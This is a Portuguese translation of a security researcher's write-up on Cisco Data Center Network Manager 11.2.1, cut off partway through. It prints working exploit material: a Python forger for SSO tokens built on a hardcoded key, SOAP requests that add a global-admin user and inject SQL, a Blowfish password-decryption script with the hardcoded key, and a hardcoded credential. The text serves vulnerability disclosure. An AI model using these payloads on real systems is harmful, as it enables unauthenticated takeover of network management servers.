Explicação técnica

Abaixo a tradução da postagem original do autor: https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-your-way-to-hell.html

https://twitter.com/steventseeley/status/1217113588294410243?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1217113588294410243&ref_url=https%3A%2F%2Fthreatpost.com%2Fcisco-dcnm-flaw-exploit%2F151949%2F

Rebentando os feijões da Cisco :: Codificando seu caminho para o inferno

14 Jan 2020

Rede Cisco

Após o desânimo em relatar à Cisco algumas outras vulnerabilidades em seu produto Prime Infrastructure, decidi realizar uma auditoria no produto Cisco Data Center Network Manager (DCNM) . O que eu descobri não deve apenas chocá- lo, mas reviver a era da raiz remota dos anos 90 que todos vocês desejavam.

TL; DR

Neste post, compartilho três (3) cadeias completas de exploração e várias primitivas que podem ser usadas para comprometer diferentes instalações e configurações do produto Cisco DCNM para obter a execução remota não autenticada de código como SYSTEM / root. Na terceira cadeia, eu (ab) uso a classe java.lang.InheritableThreadLocal para executar uma cópia superficial para obter acesso a uma sessão válida.

Antes de começar, gostaria de dizer um enorme agradecimento ao Zero Day Initiative e ao iDefense VCP Labs . Sem a ajuda deles na divulgação dessas vulnerabilidades, eu teria desistido há muito tempo.

Índice

Como este post é longo, decidi dividi-lo em seções. Você sempre pode pular para uma seção específica e voltar para o sumário.

Sumário

Antes de testar este aplicativo, um total de 14 vulnerabilidades foram descobertas de acordo com os detalhes. Esta tabela não inclui o CVE-2019-1620 e o CVE-2019-1621 de Pedro .

Número total de vulnerabilidades conhecidas publicamente antes do teste

Número total de vulnerabilidades conhecidas publicamente antes do teste

Abaixo, você encontrará uma tabela do número total de * bugs exploráveis ​​que encontrei nesta auditoria:

Classe de bug Número de descobertas Impacto
Chaves criptográficas codificadas 3 AB *
Credenciais codificadas 1 EU IRIA
Leitura transversal de arquivo 3 EU IRIA*
Leitura arbitrária de arquivos 2 EU IRIA*
Injeção de entidade externa 4 EU IRIA*
Injeção de SQL – cego com base no tempo 11 EU IRIA*
Injeção SQL – Consultas empilhadas 91 RCE *
Execução arbitrária de SQL 1 RCE *
Injeção de comando 2 RCE *
Gravação transversal de arquivo 7 RCE *
Exclusão de arquivo transversal 8 DOS
Abreviação Significado Total encontrado
AB Ignorar autenticação 3
RCE Execução remota de código 101
EU IRIA Divulgação de informação 21
DOS Negação de serviço 8
  • Erros explícitos de desenvolvedor e / ou minha própria preguiça não estavam me impedindo.
  • As vulnerabilidades da AB estavam completas (não parciais), o que significa que um invasor pode acessar tudo.
  • As vulnerabilidades de ID podem ter sido usadas para vazar credenciais e obter a execução remota de código.
  • As vulnerabilidades do RCE tiveram impacto total, obtendo acesso como SYSTEM ou root.

ret2toc

Versões de destino

Testei duas configurações diferentes do produto porque alguns caminhos de código e técnicas de exploração eram específicas da plataforma.

Instalador do Cisco DCNM 11.2.1 para Windows (64 bits)

  • Versão: 11.2 (1)
  • Data de lançamento: 18-Jun-2019
  • Nome do arquivo: dcnm-installer-x64-windows.11.2.1.exe.zip
  • Tamanho: 1619,36 MB (1698022100 bytes)
  • Soma de verificação MD5: e50f8a6b2b3b014ec022fe40fabcb6d5

C:\>ver

Microsoft Windows [Version 6.3.9600]

Dispositivo virtual ISO Cisco DCNM 11.2.1 para servidores VMWare, KVM e bare-metal

  • Versão: 11.2 (1)
  • Data de lançamento: 05-Jun-2019
  • Nome do arquivo: dcnm-va.11.2.1.iso.zip
  • Tamanho: 4473,54 MB (4690850167 bytes)
  • Soma de verificação MD5: b1bba467035a8b41c63802ce8666b7bb

[[email protected] ~]# uname -a

Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Todos os testes foram realizados na versão mais recente da época.

ret2toc

Cadeia RCE 1

Alvos vulneráveis:

  • Instalador para Windows (dcnm-installer-x64-windows.11.2.1.exe.zip)
  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Vulnerabilidade de desvio de autenticação getMessageDigest no SecurityManager

Dentro da com.cisco.dcbu.jaxws.handler.SecurityHandlerclasse, vemos:

/* */ public class SecurityHandler

/* */ extends GenericSOAPHandler

/* */ {

Essa classe expõe um método chamado handleInboundinterceptador para todas as solicitações SOAP.

/* */ protected boolean handleInbound(MessageContext msgContext) {

/* 76 */ if (logger.isDebugEnabled()) {

/* 77 */ logger.debug(“SecurityHandler”);

/* */ }

/* */

/* */

/* 81 */ if (WS_LOGGING_ENABLED) {

/* 82 */ saLogCall(msgContext);

/* */ }

/* */

/* */ try {

/* 86 */ SOAPMessage sm = ((SOAPMessageContext)msgContext).getMessage();

/* 87 */ SOAPHeader header = sm.getSOAPHeader();

/* 88 */ if (header == null)

/* */ {

/* 90 */ throw new WebServiceException(“Unable to authenticate. \nPlease obtain a valid token from Logon Service and specify <m:Token> in the SOAP header. <SOAP-ENV:Header xmlns:SOAP-ENV=\”http://schemas.xmlsoap.org/soap/envelope/\” xmlns:xsd=\”http://www.w3.org/2001/XMLSchema\” xmlns:xsi=\”http://www.w3.org/2001/XMLSchema-instance\” ><m:Token xmlns:m=\”http://ep.jaxws.dcbu.cisco.com/\”>YOUR TOKEN</m:Token></SOAP-ENV:Header>”);

/* */ }

/* */

/* */

/* 94 */ if (hasSsoToken(header)) {

/* 95 */ return true;

/* */ }

/* */

/* 98 */ Iterator hItr = header.getChildElements();

/* 99 */ String token = null;

/* 100 */ String sessionId = null;

/* 101 */ while (hItr.hasNext()) {

/* 102 */ Object nxtObj = hItr.next();

/* 103 */ if (nxtObj instanceof javax.xml.soap.Text) {

/* */ continue;

/* */ }

/* 106 */ SOAPHeaderElement e = (SOAPHeaderElement)nxtObj;

/* 107 */ String name = e.getElementName().getLocalName();

/* 108 */ if (“Token”.equalsIgnoreCase(name)) {

/* 109 */ token = e.getValue();

/* */

/* 111 */ if (token == null) {

/* 112 */ Iterator itr = e.getChildElements();

/* 113 */ while (itr.hasNext()) {

/* 114 */ SOAPElement se = (SOAPElement)itr.next();

/* 115 */ token = se.getValue();

/* 116 */ if (token != null) {

/* */ break;

/* */ }

/* */ }

/* */ }

O código na linha [94] vemos uma chamada para a SecurityHandler.hasSsoTokenqual aceita um cabeçalho SOAP que podemos enviar em uma solicitação SOAP.

/* */ protected boolean hasSsoToken(SOAPHeader header) {

/* 172 */ if (header == null)

/* 173 */ return false;

/* */ try {

/* 175 */ SOAPFactory soapFactory = SOAPFactory.newInstance();

/* 176 */ Iterator itr = header.getChildElements();

/* 177 */ while (itr.hasNext()) {

/* 178 */ Object nxtObj = itr.next();

/* 179 */ if (nxtObj instanceof javax.xml.soap.Text) {

/* */ continue;

/* */ }

/* 182 */ SOAPElement e = (SOAPElement)nxtObj;

/* 183 */ if (“ssoToken”.equals(e.getElementName().getLocalName())) {

/* 184 */ String sso = e.getValue();

/* 185 */ if (sso != null) {

/* 186 */ boolean valid = SecurityManager.getInstance().confirmSSOToken(sso);

/* 187 */ if (!valid) {

/* 188 */ logger.error(“SSO ” + sso + ” invalid or has expired.”);

/* */ }

/* 190 */ return valid;

/* */ }

/* */

/* */ }

/* */ }

/* 195 */ } catch (SOAPException e) {

/* 196 */ logger.error(“Unable to verify sso: ” + e.getMessage());

/* */ }

/* */

/* 199 */ return false;

/* */ }

O código na linha [183] verificará um ssoTokencabeçalho e, se existir, extrai o valor e o analisa no SecurityManager.confirmSSOTokenmétodo na linha [186] . Vamos investigar esse método.

/* */ public static boolean confirmSSOToken(String ssoToken) {

/* 447 */ String userName = null;

/* 448 */ int sessionId = 0;

/* 449 */ long sysTime = 0L;

/* 450 */ String digest = null;

/* 451 */ int count = 0;

/* 452 */ boolean ret = false;

/* */

/* */ try {

/* 455 */ String[] detail = getSSoTokenDetails(ssoToken);

/* */

/* 457 */ userName = detail[3];

/* 458 */ sessionId = Integer.parseInt(detail[0]);

/* 459 */ sysTime = (new Long(detail[1])).longValue();

/* */

/* 461 */ if (System.currentTimeMillis() sysTime > 600000L) {

/* 462 */ return ret;

/* */ }

/* 464 */ digest = detail[2];

/* 465 */ if (digest != null && digest.equals(getMessageDigest(“MD5”, userName, sessionId, sysTime))) {

/* 466 */ ret = true;

/* 467 */ userNameTLC.set(userName);

/* */ }

/* */

/* 470 */ } catch (Exception ex) {

/* 471 */ _Logger.info(“confirmSSoToken: “, ex);

/* */ }

/* */

/* 474 */ return ret;

/* */ }

Vemos uma verificação na linha [465] de que se o extraído digestcorresponder à chamada resultante a partir de SecurityManager.getMessageDigestentão o código alcançará a linha [466] e será definido retcomo true, que será retornado posteriormente. Vamos agora investigar o SecurityManager.getMessageDigestmétodo.

/* */ private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {

/* 371 */ String input = userName + sessionid + sysTime + “POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF”;

/* */

/* 373 */ MessageDigest md = MessageDigest.getInstance(algorithm);

/* 374 */ md.update(input.getBytes());

/* */

/* */

/* */

/* */

/* 379 */ return new String(Base64.encodeBase64(md.digest()));

/* */ }

Podemos ver o que está acontecendo, podemos controlar todos os elementos para forjar nosso próprio token e, em seguida, uma chave codificada é usada para gerar o ssoToken, o que significa que podemos ignorar a autenticação. Se isso lhe parece familiar, provavelmente você está pensando no CVE-2019-1619 que Pedro encontrou.

Aqui está o código que eu usei para gerar o token sso.

import md5

import base64

def gen_ssotoken():

timestamp = 9999999999999 # we live forever

username = “hax” # doesnt even need to exist!

sessionid = 1337 # doesnt even need to exist!

d = “%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF” % (username, sessionid, timestamp)

return “%d.%d.%s.%s” % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)

Usando esse bug, podemos enviar uma solicitação SOAP para o /DbAdminWSService/DbAdminWSterminal e adicionar um usuário administrador global que nos dará acesso a todas as interfaces!

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:ep=”http://ep.san.jaxws.dcbu.cisco.com/”>

<SOAP-ENV:Header xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>

<m:ssoToken xmlns:m=”http://ep.jaxws.dcbu.cisco.com/”>1337.9999999999999.PxU+ahyOPP9L22+K4u1+6g==.hax</m:ssoToken>

</SOAP-ENV:Header>

<soapenv:Body>

<ep:addUser>

<userName>hacker</userName>

<password>Hacked123</password>

<roleName>global-admin</roleName>

<enablePwdExpiration>false</enablePwdExpiration>

</ep:addUser>

</soapenv:Body>

</soapenv:Envelope>

ret2toc

Vulnerabilidade de execução remota de código na injeção SQL HostEnclHandler getVmHostData

Dentro da com.cisco.dcbu.jaxws.san.ep.DbInventoryWSclasse, vemos o seguinte código.

/* */ @Remote({DbInventorySEI.class})

/* */ @SOAPBinding(style = SOAPBinding.Style.RPC, use = SOAPBinding.Use.LITERAL)

/* */ @HandlerChain(file = “../../ep/fms-jaxws-handlers.xml”)

/* */ @WebContext(contextRoot = “/DbInventoryWSService”, urlPattern = “/DbInventoryWS”)

/* */ @WebService(name = “DbInventoryWS”, serviceName = “DbInventoryService”, endpointInterface = “com.cisco.dcbu.jaxws.san.ep.DbInventorySEI”)

/* */ @Stateless

/* */ public class DbInventoryWS

/* */ implements DbInventorySEI

/* */ {

/* */

/* */ //…

/* */

/* */ @WebMethod(operationName = “getVmHostData”)

/* */ @WebResult(name = “result”, partName = “result”)

/* */ public VmDO[] getVmHostData(DbFilterDO dbFilter, int startIdx, int recordSize, boolean isHost) throws SanServiceException {

/* */ try {

/* 610 */ ArrayList<VmDO> rstList = HostEnclHandler.getInstance().getVmHostData(dbFilter, startIdx, recordSize, isHost, null, null);

/* 611 */ if (rstList.size() < recordSize)

/* 612 */ recordSize = rstList.size();

/* 613 */ VmDO[] retEP = new VmDO[recordSize];

/* 614 */ for (int i = 0; i < recordSize; i++) {

/* 615 */ retEP[i] = (VmDO)rstList.get(i);

/* */ }

/* 617 */ return retEP;

/* 618 */ } catch (Throwable e) {

/* 619 */ logger.warn(“DbInventoryWS caught exception in getVmHostData():”, e);

/* 620 */ throw new SanServiceException(“Cannot get all vm host length in san”, e);

/* */ }

/* */ }

As anotações na parte superior do método indicam que podemos alcançá-lo por meio de serviços da web. Na linha [610] , podemos alcançar uma chamada para o HostEnclHandler.getVmHostDatamétodo com um atacante fornecido dbFilter.

Mas antes de chegarmos a esse método, vamos dedicar um momento para investigar a com.cisco.dcbu.jaxws.wo.DbFilterDOclasse. Este é um tipo de dados Object que o HostEnclHandler.getVmHostDatamétodo está esperando.

/* */ @XmlType(name = “DbFilter”)

/* */ @XmlAccessorType(XmlAccessType.FIELD)

/* */ public class DbFilterDO

/* */ implements Serializable

/* */ {

/* */ private static final long serialVersionUID = 1L;

/* */ private long fabricDbId;

/* */ private long switchDbId;

/* */ private long vsanDbId;

/* */ private String sortField;

/* */ private String sortType;

/* */ private int limit;

/* */ private long groupId;

/* */ private boolean isGroup;

/* */ private String networkType;

/* */ private String filterStr;

/* */ private int filterId;

/* */ private String colFilterStr;

/* */ private String groupFilterXml;

/* */ private int dcType;

/* */ private long navId;

/* */ private String qryStr;

O Cisco DCNM usa o empacotador JAXB que executa o ORM entre estruturas de dados XML.

DbFilterDOmais especificamente, é um tipo de EJB conhecido como um bean de entidade . Esse bean tem um nome de tipo DbFiltere seu tipo de acessador está definido como XmlAccessType.FIELD, significando que todos os campos subjacentes e propriedades anotadas são empacotados.

Sabendo que podemos definir os campos nesse objeto, vamos continuar com a HostEnclHandler.getVmHostDatadefinição do método.

/* */ public ArrayList<VmDO> getVmHostData(DbFilterDO dbFilter, int startIdx, int recordSize, boolean isHost, Map<Long, String> _vmUsageMap, Map<Long, List<VmDO>> _Host2vmHash) {

/* 1054 */ if (_vmUsageMap == null)

/* 1055 */ _vmUsageMap = new HashMap<Long, String>();

/* 1056 */ if (_Host2vmHash == null)

/* 1057 */ _Host2vmHash = new HashMap<Long, List<VmDO>>();

/* 1058 */ ArrayList<VmDO> rstList = new ArrayList<VmDO>();

/* 1059 */ String sortSqlSuffix = “”;

/* 1060 */ if (!dbFilter.getSortField().equals(“Name”)) {

/* 1061 */ String sortSql = (String)this._Name2SqlHash.get(dbFilter.getSortField());

/* 1062 */ if (sortSql != null)

/* */ {

/* 1064 */ sortSqlSuffix = (String)this._Name2SqlHash.get(dbFilter.getSortField()) + dbFilter.getSortType();

/* */ }

/* */ }

Na linha [1064] Podemos ver o sortFieldnosso dbFilterobjecto é acedida e utilizada como um índice para a this._Name2SqlHashhashmap. Além disso, o sortTypeé anexado posteriormente e armazena tudo isso na sortSqlSuffixvariável

Vamos verificar a definição da this._Name2SqlHashvariável.

/* */ public class HostEnclHandler

/* */ {

/* */

/* */ // ..

/* */

/* */ private Map<String, String> _Name2SqlHash;

/* */

/* */ // …

/* */

/* */ public static HostEnclHandler getInstance() {

/* */

/* */ // …

/* */

/* 101 */ this._Name2SqlHash = new HashMap();

/* 102 */ initSqlSortSuffix();

/* */ }

/* */

/* */ // …

/* */

/* */ private void initSqlSortSuffix() {

/* 3605 */ this._Name2SqlHash.put(“name”, ” ORDER BY ENC.NAME “);

/* 3606 */ this._Name2SqlHash.put(“Name”, ” ORDER BY ENC.NAME “);

/* 3607 */ this._Name2SqlHash.put(“vhostName”, ” ORDER BY VH.NAME “);

/* 3608 */ this._Name2SqlHash.put(“hostTime”, ” ORDER BY EVT.HOST_TIME “);

/* 3609 */ this._Name2SqlHash.put(“vmname”, ” ORDER BY VHOST.NAME “);

/* 3610 */ this._Name2SqlHash.put(“vmcluster”, ” ORDER BY HC.NAME “);

/* 3611 */ this._Name2SqlHash.put(“rxtxStr”, ” ORDER BY STATS.TOTAL_RXTX “);

/* 3612 */ this._Name2SqlHash.put(“vcluster”, ” ORDER BY HC.NAME “);

/* 3613 */ this._Name2SqlHash.put(“ucsSp”, ” ORDER BY ENC.SERVICE_PROFILE “);

/* 3614 */ this._Name2SqlHash.put(“multipath”, ” ORDER BY VH.MULTIPATH “);

/* */ }

Para exploração, decidi definir sortFieldo vclusteríndice on-line [3612] . Isso garantirá que não acionemos uma java.lang.IndexOutOfBoundsExceptionexceção no this._Name2SqlHashmapa de hash.

Continuando dentro do HostEnclHandler.getVmHostDatamétodo, podemos ter certeza de que podemos influenciar a sortSqlSuffixvariável.

/* 1068 */ con = null;

/* 1069 */ stmt = null;

/* 1070 */ rs = null;

/* 1071 */ String sql = null;

/* */

/* */ try {

/* 1074 */ con = ConnectionManager.getConnection();

/* 1075 */ processVm(con, _Host2vmHash);

/* 1076 */ processUsageCount(con, _vmUsageMap);

/* */

/* 1078 */ sql = SQLLoader.getSqlStmt(“HostEnclHandler.VM_HOST_DATA_LIST_STMT”);

/* 1079 */ stmt = PersistentHelper.getHelper().getPreparedStmt(con, sql + sortSqlSuffix, 1004, 1007);

/* */

/* */

/* */

/* */

/* */

/* 1085 */ rs = SQLLoader.execute(stmt);

Na linha [1079] , podemos ver que uma instrução sql preparada está sendo criada de maneira insegura usando nossa sortSqlSuffixvariável injetada . Então na linha [1085] a injeção sql é realmente acionada!

Nota lateral: Esse bug foi resultado de uma falha de design e padronizou diversas vezes em que os desenvolvedores assumiram que, desde que as consultas foram parametrizadas, elas estavam protegidas contra a injeção de sql. Pesquisas adicionais desse padrão resultaram em mais de 100 vulnerabilidades separadas de injeção de sql.

A próxima etapa foi descobrir os parâmetros SOAP exatos necessários para acionar esse caminho de código. A WebContextanotação nos fornece um padrão de URL que revelará o caminho wsdl a serhttps://<target>/DbInventoryWSService/DbInventoryWS?wsdl

Para referência, aqui está a WebContextanotação.

/* */ @WebContext(contextRoot = “/DbInventoryWSService”, urlPattern = “/DbInventoryWS”)

Revelando o Descritor de Serviço do Método getVmHostData

Revelando o Descritor de Serviço do Método getVmHostData

Combinando a primeira vulnerabilidade que poderia enviar o seguinte pedido que preenche as propriedades no dbFilterao /DbInventoryWSService/DbInventoryWSponto de extremidade SOAP e acionar o SQL Injection.

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:ep=”http://ep.san.jaxws.dcbu.cisco.com/”>

<SOAP-ENV:Header xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>

<m:ssoToken xmlns:m=”http://ep.jaxws.dcbu.cisco.com/”>1337.9999999999999.PxU+ahyOPP9L22+K4u1+6g==.hax</m:ssoToken>

</SOAP-ENV:Header>

<soapenv:Body>

<ep:getVmHostData>

<arg0>

<sortField>vcluster</sortField>

<sortType>;select pg_sleep(10);–</sortType>

</arg0>

<arg1></arg1>

<arg2></arg2>

<arg3></arg3>

</ep:getVmHostData>

</soapenv:Body>

</soapenv:Envelope>

A injeção SQL está sendo executada como usuário dcnmuser.

[email protected] ~]# psql -U dcnmuser dcmdb

Password for user dcnmuser:

psql.bin (9.4.5)

Type “help” for help.

dcmdb=> \du dcnmuser

List of roles

Role name | Attributes | Member of

———–+————+———–

dcnmuser | | {}

dcmdb=> select distinct privilege_type FROM information_schema.role_table_grants where grantee=current_user;

privilege_type

—————-

UPDATE

REFERENCES

TRIGGER

INSERT

SELECT

DELETE

TRUNCATE

(7 rows)

Verificando as permissões do banco de dados, podemos ver que temos privilégios limitados e não podemos usar comandos como copyou lo_importpara ler / gravar no sistema de arquivos. No entanto, após alguma investigação, encontrei várias maneiras de obter a execução remota de código. Consulte a seção Primitivas do SQLi2RCE para obter detalhes sobre algumas das maneiras.

Ganhando sistema com muitas injeções de SQL

Ganhando sistema com muitas injeções de SQL

Você pode baixar a exploração e testá-lo por si mesmo.

ret2toc

Cadeia RCE 2

Alvos vulneráveis:

  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Vulnerabilidade de divulgação não autorizada de informações na conta de porta de depuração do servidor

É certo que não sei onde está o código vulnerável exato dessa vulnerabilidade, mas compartilharei com você o processo de descoberta.

Ao executar alguns testes de caixa preta (durante a revisão de código), deparei-me com este aplicativo da web.

Autenticação para o aplicativo / serverinfo / web

Autenticação para o aplicativo / serverinfo / web

Como não sabia a senha na época, decidi pesquisar, o que me levou a esta postagem no blog:

Localizando as credenciais codificadas no aplicativo / serverinfo / web

Localizando as credenciais codificadas no aplicativo / serverinfo / web

Isso funcionou! Agora eu podia entrar e olhar em volta.

Efetuando logon no aplicativo / serverinfo / web

Efetuando logon no aplicativo / serverinfo / web

A divulgação de informações mais interessante foi o sftpnome de usuário e a senha criptografada, que estavam disponíveis apenas no dispositivo.

Divulgação da senha criptografada do sftp

Divulgação da senha criptografada do sftp

Ao auditar, agrupo todos os arquivos de classe e seus caminhos de pacote em um único diretório. A pesquisa da senha nesta pasta retornou muitos resultados e foi difícil identificar exatamente qual classe estava com defeito. Ainda tenho minhas suspeitas na com.cisco.dcbu.sm.common.registry.ContextRegistryaula, mas a referência cruzada foi um pesadelo.

saturn:all mr_me$ grep -ir “nbv_12345” .

Binary file ./com/cisco/dcbu/sm/server/test/UcsTest.class matches

Binary file ./com/cisco/dcbu/sm/server/test/AuthTest.class matches

Binary file ./com/cisco/dcbu/sm/server/config/ItdConfig.class matches

Binary file ./com/cisco/dcbu/sm/server/security/RadiusAuthenticator.class matches

Binary file ./com/cisco/dcbu/sm/server/web/pmon/PmonHandler.class matches

Binary file ./com/cisco/dcbu/sm/server/zone/PolicyBasedZoning.class matches

Binary file ./com/cisco/dcbu/sm/server/facade/FlexCliImpl.class matches

Binary file ./com/cisco/dcbu/sm/server/CliSession.class matches

Binary file ./com/cisco/dcbu/sm/server/smis/SMISDiscoveryService$1.class matches

Binary file ./com/cisco/dcbu/sm/server/sht/SanHealthService$1.class matches

Binary file ./com/cisco/dcbu/sm/server/alarm/AlarmNotifier.class matches

Binary file ./com/cisco/dcbu/sm/server/event/SMISNotifications.class matches

Binary file ./com/cisco/dcbu/sm/common/security/AAA.class matches

Binary file ./com/cisco/dcbu/sm/common/registry/ContextRegistry.class matches

Binary file ./com/cisco/dcbu/sm/common/event/AbstractEventHandler.class matches

Binary file ./com/cisco/dcbu/sm/common/event/PtoPEventHandler.class matches

Binary file ./com/cisco/dcbu/sm/client/EjbReference.class matches

Binary file ./com/cisco/dcbu/install/model/AAA.class matches

Binary file ./com/cisco/dcbu/install/VCProxy.class matches

Binary file ./com/cisco/dcbu/web/client/util/RestClient.class matches

Binary file ./com/cisco/dcbu/vinci/helper/ConcurrentSearch.class matches

Binary file ./com/cisco/dcbu/lib/upgrade/DbDataUpgrade.class matches

Binary file ./com/cisco/dcbu/lib/snmp/SnmpTrapSession4j$TrapReceiver4j.class matches

Binary file ./com/cisco/dcbu/lib/snmp/SnmpPeer.class matches

Binary file ./com/cisco/dcbu/lib/sshexec/CliTest.class matches

Binary file ./com/cisco/dcbu/lib/mds/zm/CommandHandler.class matches

Binary file ./com/cisco/dcbu/lib/mds/zm/MDSXMLZoneCommandHandler.class matches

Binary file ./com/cisco/dcbu/lib/mds/zm/WebZoneDataModCache.class matches

A senha raiz é armazenada no server.propertiesarquivo e é exibida no /serverinfo/aplicativo da web. Durante a instalação, o administrador define a senha root e o instalador chama, appmgr add_user dcnm -u root -p <password> -db <dcnm-db-password>que executa o /usr/local/cisco/dcm/fm/bin/addUser.shscript.

O /usr/local/cisco/dcm/fm/bin/addUser.shscript inicia a com.cisco.dcbu.install.UserUtilclasse para adicionar esse usuário ao server.propertiesarquivo.

Ficamos com um pequeno obstáculo, como vamos descriptografar a senha?

ret2toc

Vulnerabilidade de divulgação de informações de chave de criptografia codificada por JBoss_4_2Encrypter

Dentro da com.cisco.dcbu.lib.util.jboss_4_2.JBoss_4_2Encrypterclasse, podemos encontrar o seguinte código:

/* */ public class JBoss_4_2Encrypter

/* */ {

/* */ public static String encrypt(String plainTextKey) throws Exception {

/* 39 */ byte[] keyBytes = “jaas is the way”.getBytes();

/* */

/* 41 */ Cipher blowFishCipher = Cipher.getInstance(“Blowfish”);

/* 42 */ blowFishCipher.init(1, new SecretKeySpec(keyBytes, “Blowfish”));

/* */

/* 44 */ BigInteger integer = new BigInteger(blowFishCipher.doFinal(plainTextKey.getBytes()));

/* 45 */ return integer.toString(16);

/* */ }

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* */ public static String decrypt(String encryptedKey) throws Exception {

/* 55 */ if (encryptedKey.startsWith(“#”)) {

/* 56 */ encryptedKey = encryptedKey.substring(1);

/* */ }

/* */

/* */

/* 60 */ BigInteger bInt = new BigInteger(encryptedKey, 16);

/* */

/* */

/* 63 */ Cipher blowFishCipher = Cipher.getInstance(“Blowfish”);

/* 64 */ blowFishCipher.init(2, new SecretKeySpec(“jaas is the way”.getBytes(), “Blowfish”));

/* */

/* 66 */ return new String(blowFishCipher.doFinal(bInt.toByteArray()));

/* */ }

/* */ }

Na linha [39], o código criptografa essas senhas usando a jaas is the waychave. Sim, Cisco, jaas é o caminho.

#!/usr/bin/python

import sys

from Crypto.Cipher import Blowfish

cipher = Blowfish.new(“jaas is the way”, Blowfish.MODE_ECB)

print cipher.decrypt(sys.argv[1].decode(“hex”))

saturn:~ mr_me$ ./poc.py 59f44e08047be2d72f34371127b18a0b

Dcnmpass123

Com isso, agora podemos fazer login na interface da Web do DCNM como o usuário root com network-adminprivilégios, o que é suficiente para um desvio de autenticação completo.

Também podemos fazer login no servidor SSH como root, mas não falamos sobre essa configuração incorreta padrão e, em vez disso, assumimos que o servidor SSH está bloqueado. 🙂

ret2toc

Vulnerabilidade de execução remota de código na injeção de comando LanFabricImpl createLanFabric

Dentro da com.cisco.dcbu.vinci.rest.services.LanFabricsclasse, podemos encontrar o createLanFabricmétodo restante.

/* */ @Path(“/fabrics”)

/* */ public class LanFabrics

/* */ {

/* 42 */ private final Logger log = LogManager.getLogger(“fabrics”);

/* */

/* */ @POST

/* */ @Consumes({“application/json”})

/* */ @Produces({“application/json”})

/* */ @Mapped

/* */ public Response createLanFabric(@RequestBody LanFabricSetting fabric) {

/* 49 */ StatusCode res = StatusCode.ProcessingError;

/* 50 */ String errorHeading = “Creating LAN fabric fails. “;

/* 51 */ LanFabricSetting setting = null;

/* */ try {

/* 53 */ LanFabricImpl impl = new LanFabricImpl();

/* 54 */ res = impl.createLanFabric(fabric);

/* 55 */ if (res == StatusCode.Success) {

/* */

/* 57 */ setting = new LanFabricSetting();

/* 58 */ setting.setName(fabric.getName());

/* */ }

/* 60 */ } catch (Exception e) {

/* 61 */ e.printStackTrace();

/* 62 */ errorHeading = errorHeading + ” ” + e.getMessage();

/* */ }

/* 64 */ return RestHelper.composeHttpResponse(res, setting, errorHeading, this.log);

/* */ }

Na linha [54] , podemos chamar o LanFabricImpl.createLanFabricmétodo com um com.cisco.dcbu.vinci.rest.resources.fabric.LanFabricSettingbean de entidade controlado chamado fabric.

/* */ @JsonIgnoreProperties(ignoreUnknown = true)

/* */ @JsonInclude(JsonInclude.Include.NON_DEFAULT)

/* */ public class LanFabricSetting

/* */ implements Cloneable

/* */ {

/* */ private String name;

/* */ private String description;

/* */ private GeneralSetting generalSetting;

/* */ private ProvisionSetting provisionSetting;

/* */ private PoolSetting poolSetting;

/* */ private BorderSetting borderSetting;

Este bean de entidade contém vários beans de entidade aninhados do tipo GeneralSetting, ProvisionSetting, PoolSettinge BorderSetting. Nós precisaremos configurar as estruturas de dados corretamente se quisermos alcançar certas partes do código.

/* */ public StatusCode createLanFabric(LanFabricSetting fabric) {

/* 135 */ if (!RBACUserImpl.getInstance().hasFullAccess(-1L)) {

/* 136 */ return StatusCode.UserUnauthorized;

/* */ }

/* 138 */ StatusCode ret = StatusCode.InvalidRequest;

/* */

/* 140 */ String fabricName = (fabric != null) ? fabric.getName() : null;

/* 141 */ if (RestHelper.isEmpty(fabricName)) {

/* 142 */ ret.setExtra(“Required LAN fabric name is not specified.”);

/* 143 */ RestHelper.logMesasge(this.log, ret, “Impl: Created LAN fabric “);

/* 144 */ return ret;

/* */ }

/* */

/* */ try {

/* 148 */ validateSegmentAndPartitionRanges(fabric, ret);

/* 149 */ ret = fabric.validate();

Para continuar a execução, o fabricbean de entidade precisa sobreviver às verificações nas linhas [148-149] . O mais importante é a fabric.validatechamada de método que contém várias verificações de valores de propriedade.

/* */ public StatusCode validate() {

/* 88 */ StatusCode ret = StatusCode.InvalidRequest;

/* 89 */ if (RestHelper.isEmpty(this.name) || this.name.contains(” “)) {

/* 90 */ ret.setExtra(“Invalid fabric name. Fabric name cannot be empty and cannot contain space.”);

/* 91 */ return ret;

/* */ }

/* 93 */ if (this.generalSetting != null) {

/* 94 */ ret = this.generalSetting.validate();

/* */ } else {

/* 96 */ this.generalSetting = new GeneralSetting();

/* */ }

/* 98 */ if (ret != StatusCode.Success) {

/* 99 */ return ret;

/* */ }

/* 101 */ GeneralSetting.ProvisionOption provisionOption = this.generalSetting.getProvisionOption();

/* 102 */ if (provisionOption == GeneralSetting.ProvisionOption.DCNMTopDown) {

/* 103 */ ret = validateTopDownFabricProvisionSetting();

/* */ }

/* 105 */ else if (this.provisionSetting != null) {

/* 106 */ ret = this.provisionSetting.validate();

/* */ } else {

/* 108 */ this.provisionSetting = new ProvisionSetting(this.name);

/* */ }

/* */

/* 111 */ if (ret != StatusCode.Success) {

/* 112 */ return ret;

/* */ }

/* 114 */ if (this.poolSetting != null) {

/* 115 */ ret = this.poolSetting.validate();

/* */ } else {

/* 117 */ this.poolSetting = new PoolSetting();

/* */ }

